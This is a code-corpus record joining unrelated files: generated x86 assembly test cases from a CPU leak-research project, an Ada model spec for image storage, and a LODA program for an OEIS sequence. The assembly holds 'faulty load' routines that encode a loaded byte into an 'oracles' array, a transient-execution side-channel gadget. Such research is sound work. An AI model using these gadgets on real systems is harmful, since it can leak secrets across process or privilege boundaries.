{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': True, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_454.asm | ljhsiun2/medusa | 9 | 92165 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x13564, %r9
nop
nop
nop
nop
dec %r15
movl $0x61626364, (%r9)
nop
nop
nop
nop
add %r10, %r10
lea addresses_A_ht+0x1ecd4, %rax
nop
nop
nop
nop
dec %r15
movl $0x61626364, (%rax)
nop
and %r10, %r10
lea addresses_UC_ht+0xcd64, %r8
nop
nop
dec %r11
vmovups (%r8), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdx
nop
and %r10, %r10
lea addresses_WC_ht+0x12f64, %rsi
lea addresses_A_ht+0x12564, %rdi
nop
nop
add %r11, %r11
mov $104, %rcx
rep movsl
add %r10, %r10
lea addresses_normal_ht+0x1b594, %r10
xor $47231, %r11
movb $0x61, (%r10)
nop
nop
nop
and $59108, %rdx
lea addresses_WC_ht+0x13564, %r15
nop
nop
nop
nop
and $5164, %rax
movb (%r15), %r9b
nop
nop
nop
xor %r15, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rcx
// Faulty Load
lea addresses_WC+0x14564, %r14
nop
nop
nop
nop
and $30447, %r12
movb (%r14), %r8b
lea oracles, %r15
and $0xff, %r8
shlq $12, %r8
mov (%r15,%r8,1), %r8
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
awa/plugins/awa-images/src/model/awa-images-models.ads | Letractively/ada-awa | 0 | 18068 | <reponame>Letractively/ada-awa
-----------------------------------------------------------------------
-- AWA.Images.Models -- AWA.Images.Models
-----------------------------------------------------------------------
-- File generated by ada-gen DO NOT MODIFY
-- Template used: templates/model/package-spec.xhtml
-- Ada Generator: https://ada-gen.googlecode.com/svn/trunk Revision 1095
-----------------------------------------------------------------------
-- Copyright (C) 2013 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
pragma Warnings (Off, "unit * is not referenced");
with ADO.Sessions;
with ADO.Objects;
with ADO.Statements;
with ADO.SQL;
with ADO.Schemas;
with ADO.Queries;
with ADO.Queries.Loaders;
with Ada.Calendar;
with Ada.Containers.Vectors;
with Ada.Strings.Unbounded;
with Util.Beans.Objects;
with Util.Beans.Basic.Lists;
with AWA.Storages.Models;
pragma Warnings (On, "unit * is not referenced");
package AWA.Images.Models is
type Image_Ref is new ADO.Objects.Object_Ref with null record;
-- --------------------
-- An image that was uploaded by a user in an image folder.
-- --------------------
-- Create an object key for Image.
function Image_Key (Id : in ADO.Identifier) return ADO.Objects.Object_Key;
-- Create an object key for Image from a string.
-- Raises Constraint_Error if the string cannot be converted into the object key.
function Image_Key (Id : in String) return ADO.Objects.Object_Key;
Null_Image : constant Image_Ref;
function "=" (Left, Right : Image_Ref'Class) return Boolean;
-- Set the image identifier.
procedure Set_Id (Object : in out Image_Ref;
Value : in ADO.Identifier);
-- Get the image identifier.
function Get_Id (Object : in Image_Ref)
return ADO.Identifier;
-- Get the image version.
function Get_Version (Object : in Image_Ref)
return Integer;
-- Set the image width.
procedure Set_Width (Object : in out Image_Ref;
Value : in Natural);
-- Get the image width.
function Get_Width (Object : in Image_Ref)
return Natural;
-- Set the image height.
procedure Set_Height (Object : in out Image_Ref;
Value : in Natural);
-- Get the image height.
function Get_Height (Object : in Image_Ref)
return Natural;
-- Set the image thumbnail height.
procedure Set_Thumb_Height (Object : in out Image_Ref;
Value : in Natural);
-- Get the image thumbnail height.
function Get_Thumb_Height (Object : in Image_Ref)
return Natural;
-- Set the image thumbnail width.
procedure Set_Thumb_Width (Object : in out Image_Ref;
Value : in Natural);
-- Get the image thumbnail width.
function Get_Thumb_Width (Object : in Image_Ref)
return Natural;
-- Set the thumbnail image to display the image is an image selector.
procedure Set_Thumbnail (Object : in out Image_Ref;
Value : in AWA.Storages.Models.Storage_Ref'Class);
-- Get the thumbnail image to display the image is an image selector.
function Get_Thumbnail (Object : in Image_Ref)
return AWA.Storages.Models.Storage_Ref'Class;
-- Set the image storage file.
procedure Set_Storage (Object : in out Image_Ref;
Value : in AWA.Storages.Models.Storage_Ref'Class);
-- Get the image storage file.
function Get_Storage (Object : in Image_Ref)
return AWA.Storages.Models.Storage_Ref'Class;
-- Load the entity identified by 'Id'.
-- Raises the NOT_FOUND exception if it does not exist.
procedure Load (Object : in out Image_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier);
-- Load the entity identified by 'Id'.
-- Returns True in <b>Found</b> if the object was found and False if it does not exist.
procedure Load (Object : in out Image_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier;
Found : out Boolean);
-- Find and load the entity.
overriding
procedure Find (Object : in out Image_Ref;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean);
-- Save the entity. If the entity does not have an identifier, an identifier is allocated
-- and it is inserted in the table. Otherwise, only data fields which have been changed
-- are updated.
overriding
procedure Save (Object : in out Image_Ref;
Session : in out ADO.Sessions.Master_Session'Class);
-- Delete the entity.
overriding
procedure Delete (Object : in out Image_Ref;
Session : in out ADO.Sessions.Master_Session'Class);
overriding
function Get_Value (From : in Image_Ref;
Name : in String) return Util.Beans.Objects.Object;
-- Table definition
IMAGE_TABLE : constant ADO.Schemas.Class_Mapping_Access;
-- Internal method to allocate the Object_Record instance
overriding
procedure Allocate (Object : in out Image_Ref);
-- Copy of the object.
procedure Copy (Object : in Image_Ref;
Into : in out Image_Ref);
package Image_Vectors is
new Ada.Containers.Vectors (Index_Type => Natural,
Element_Type => Image_Ref,
"=" => "=");
subtype Image_Vector is Image_Vectors.Vector;
procedure List (Object : in out Image_Vector;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class);
-- --------------------
-- The list of images for a given folder.
-- --------------------
type Image_Info is new Util.Beans.Basic.Readonly_Bean with record
-- the storage identifier which contains the image data.
Id : ADO.Identifier;
-- the image file name.
Name : Ada.Strings.Unbounded.Unbounded_String;
-- the image file creation date.
Create_Date : Ada.Calendar.Time;
-- the image file storage URI.
Uri : Ada.Strings.Unbounded.Unbounded_String;
-- the image file storage URI.
Storage : Integer;
-- the image file mime type.
Mime_Type : Ada.Strings.Unbounded.Unbounded_String;
-- the image file size.
File_Size : Integer;
-- the image width.
Width : Integer;
-- the image height.
Height : Integer;
-- the image thumbnail width.
Thumb_Width : Integer;
-- the image thumbnail height.
Thumb_Height : Integer;
-- the image thumbnail identifier.
Thumbnail_Id : ADO.Identifier;
end record;
-- Get the bean attribute identified by the given name.
overriding
function Get_Value (From : in Image_Info;
Name : in String) return Util.Beans.Objects.Object;
package Image_Info_Beans is
new Util.Beans.Basic.Lists (Element_Type => Image_Info);
package Image_Info_Vectors renames Image_Info_Beans.Vectors;
subtype Image_Info_List_Bean is Image_Info_Beans.List_Bean;
type Image_Info_List_Bean_Access is access all Image_Info_List_Bean;
-- Run the query controlled by <b>Context</b> and append the list in <b>Object</b>.
procedure List (Object : in out Image_Info_List_Bean'Class;
Session : in out ADO.Sessions.Session'Class;
Context : in out ADO.Queries.Context'Class);
subtype Image_Info_Vector is Image_Info_Vectors.Vector;
-- Run the query controlled by <b>Context</b> and append the list in <b>Object</b>.
procedure List (Object : in out Image_Info_Vector;
Session : in out ADO.Sessions.Session'Class;
Context : in out ADO.Queries.Context'Class);
Query_Image_List : constant ADO.Queries.Query_Definition_Access;
private
IMAGE_NAME : aliased constant String := "awa_image";
COL_0_1_NAME : aliased constant String := "id";
COL_1_1_NAME : aliased constant String := "version";
COL_2_1_NAME : aliased constant String := "width";
COL_3_1_NAME : aliased constant String := "height";
COL_4_1_NAME : aliased constant String := "thumb_height";
COL_5_1_NAME : aliased constant String := "thumb_width";
COL_6_1_NAME : aliased constant String := "thumbnail_id";
COL_7_1_NAME : aliased constant String := "storage_id";
IMAGE_DEF : aliased constant ADO.Schemas.Class_Mapping :=
(Count => 8,
Table => IMAGE_NAME'Access,
Members => (
1 => COL_0_1_NAME'Access,
2 => COL_1_1_NAME'Access,
3 => COL_2_1_NAME'Access,
4 => COL_3_1_NAME'Access,
5 => COL_4_1_NAME'Access,
6 => COL_5_1_NAME'Access,
7 => COL_6_1_NAME'Access,
8 => COL_7_1_NAME'Access
)
);
IMAGE_TABLE : constant ADO.Schemas.Class_Mapping_Access
:= IMAGE_DEF'Access;
Null_Image : constant Image_Ref
:= Image_Ref'(ADO.Objects.Object_Ref with others => <>);
type Image_Impl is
new ADO.Objects.Object_Record (Key_Type => ADO.Objects.KEY_INTEGER,
Of_Class => IMAGE_DEF'Access)
with record
Version : Integer;
Width : Natural;
Height : Natural;
Thumb_Height : Natural;
Thumb_Width : Natural;
Thumbnail : AWA.Storages.Models.Storage_Ref;
Storage : AWA.Storages.Models.Storage_Ref;
end record;
type Image_Access is access all Image_Impl;
overriding
procedure Destroy (Object : access Image_Impl);
overriding
procedure Find (Object : in out Image_Impl;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean);
overriding
procedure Load (Object : in out Image_Impl;
Session : in out ADO.Sessions.Session'Class);
procedure Load (Object : in out Image_Impl;
Stmt : in out ADO.Statements.Query_Statement'Class;
Session : in out ADO.Sessions.Session'Class);
overriding
procedure Save (Object : in out Image_Impl;
Session : in out ADO.Sessions.Master_Session'Class);
procedure Create (Object : in out Image_Impl;
Session : in out ADO.Sessions.Master_Session'Class);
overriding
procedure Delete (Object : in out Image_Impl;
Session : in out ADO.Sessions.Master_Session'Class);
procedure Set_Field (Object : in out Image_Ref'Class;
Impl : out Image_Access);
package File_1 is
new ADO.Queries.Loaders.File (Path => "image-list.xml",
Sha1 => "6A8E69BE2D48CAE5EEE4093D819F4015C272A10C");
package Def_Imageinfo_Image_List is
new ADO.Queries.Loaders.Query (Name => "image-list",
File => File_1.File'Access);
Query_Image_List : constant ADO.Queries.Query_Definition_Access
:= Def_Imageinfo_Image_List.Query'Access;
end AWA.Images.Models;
|
programs/oeis/029/A029715.asm | karttu/loda | 0 | 14048 | <gh_stars>0
; A029715: a(n) = Sum_{k divides 2^n} S(k), where S is the Kempner function A002034.
; 1,3,7,11,17,25,33,41,51,63,75,89,105,121,137,153,171,191,211,233,257,281,305,331,359,387,417,449,481,513,545,577,611,647,683,721,761,801,841,883,927,971,1017,1065,1113,1161,1209,1259,1311,1363,1417,1473,1529
mov $34,$0
mov $36,$0
add $36,1
lpb $36,1
clr $0,34
mov $0,$34
sub $36,1
sub $0,$36
mov $31,$0
mov $33,$0
add $33,1
lpb $33,1
mov $0,$31
sub $33,1
sub $0,$33
mov $27,$0
mov $29,2
lpb $29,1
mov $0,$27
sub $29,1
add $0,$29
sub $0,1
cal $0,80578 ; a(1)=1; for n > 1, a(n) = a(n-1) + 1 if n is already in the sequence, a(n) = a(n-1) + 3 otherwise.
mov $3,$0
sub $3,1
mov $26,$3
cmp $26,0
add $3,$26
add $3,1
mov $1,$3
mov $30,$29
lpb $30,1
mov $28,$1
sub $30,1
lpe
lpe
lpb $27,1
mov $27,0
sub $28,$1
lpe
mov $1,$28
sub $1,1
add $32,$1
lpe
add $35,$32
lpe
mov $1,$35
|
Transynther/x86/_processed/NC/_ht_st_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_762.asm | ljhsiun2/medusa | 9 | 5847 | <filename>Transynther/x86/_processed/NC/_ht_st_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_762.asm<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x124f2, %rsi
nop
nop
nop
and $44480, %r9
mov $0x6162636465666768, %rcx
movq %rcx, (%rsi)
nop
nop
nop
cmp %r13, %r13
lea addresses_normal_ht+0x1ea51, %rsi
lea addresses_UC_ht+0xdf01, %rdi
clflush (%rsi)
nop
nop
nop
add $56755, %r15
mov $9, %rcx
rep movsw
inc %rcx
lea addresses_WT_ht+0x431a, %r13
nop
nop
nop
nop
nop
cmp $11934, %r10
mov (%r13), %rdi
nop
nop
xor $61377, %rdi
lea addresses_UC_ht+0x8a1, %rsi
lea addresses_normal_ht+0x13f15, %rdi
nop
nop
nop
nop
nop
and $43885, %r10
mov $36, %rcx
rep movsw
nop
nop
cmp %r15, %r15
lea addresses_UC_ht+0x19401, %rsi
lea addresses_UC_ht+0x301, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
mov $107, %rcx
rep movsw
nop
nop
nop
inc %rsi
lea addresses_WC_ht+0x159c1, %rsi
lea addresses_D_ht+0x2301, %rdi
clflush (%rdi)
dec %r10
mov $13, %rcx
rep movsl
nop
nop
nop
and %r14, %r14
lea addresses_WT_ht+0x16301, %rsi
lea addresses_WT_ht+0xc5b, %rdi
clflush (%rdi)
nop
nop
nop
inc %r15
mov $54, %rcx
rep movsq
nop
xor $3362, %rsi
lea addresses_A_ht+0x1421, %r10
nop
nop
sub $26056, %r9
movw $0x6162, (%r10)
nop
nop
nop
and %rsi, %rsi
lea addresses_UC_ht+0x74c1, %rsi
lea addresses_normal_ht+0x8501, %rdi
nop
nop
xor %r14, %r14
mov $126, %rcx
rep movsl
nop
nop
nop
add $6999, %r10
lea addresses_UC_ht+0x16b01, %rsi
and %rdi, %rdi
mov $0x6162636465666768, %r13
movq %r13, %xmm6
vmovups %ymm6, (%rsi)
cmp $58740, %r9
lea addresses_A_ht+0xe101, %rcx
nop
nop
nop
nop
inc %r15
movw $0x6162, (%rcx)
nop
nop
nop
nop
nop
sub %r10, %r10
lea addresses_WC_ht+0xf1e5, %r13
cmp $2638, %r14
mov (%r13), %di
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x13541, %r13
nop
nop
nop
nop
nop
dec %r14
movups (%r13), %xmm7
vpextrq $1, %xmm7, %r10
nop
sub $40841, %rcx
lea addresses_D_ht+0x1ca81, %rsi
lea addresses_WC_ht+0x11301, %rdi
nop
nop
nop
nop
nop
mfence
mov $1, %rcx
rep movsb
nop
and $24857, %r14
lea addresses_WC_ht+0x12501, %rsi
nop
nop
inc %rdi
movb $0x61, (%rsi)
nop
nop
nop
and %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rax
push %rbp
push %rcx
push %rdx
push %rsi
// Store
lea addresses_PSE+0x7d81, %rbp
nop
nop
nop
nop
add %rdx, %rdx
mov $0x5152535455565758, %rax
movq %rax, (%rbp)
nop
nop
sub %rdx, %rdx
// Store
lea addresses_WC+0x9b61, %rbp
nop
cmp %rcx, %rcx
movw $0x5152, (%rbp)
nop
and $9415, %r8
// Load
lea addresses_WT+0x15b01, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
xor %rax, %rax
mov (%rcx), %si
nop
sub $45918, %rbp
// Load
mov $0x24029b00000006a1, %rsi
nop
nop
nop
nop
nop
sub %rdx, %rdx
vmovups (%rsi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r10
nop
and %r10, %r10
// Faulty Load
mov $0x5b72ff0000000301, %r8
nop
nop
nop
cmp $42587, %rcx
vmovups (%r8), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rdx
lea oracles, %rbp
and $0xff, %rdx
shlq $12, %rdx
mov (%rbp,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': True}}
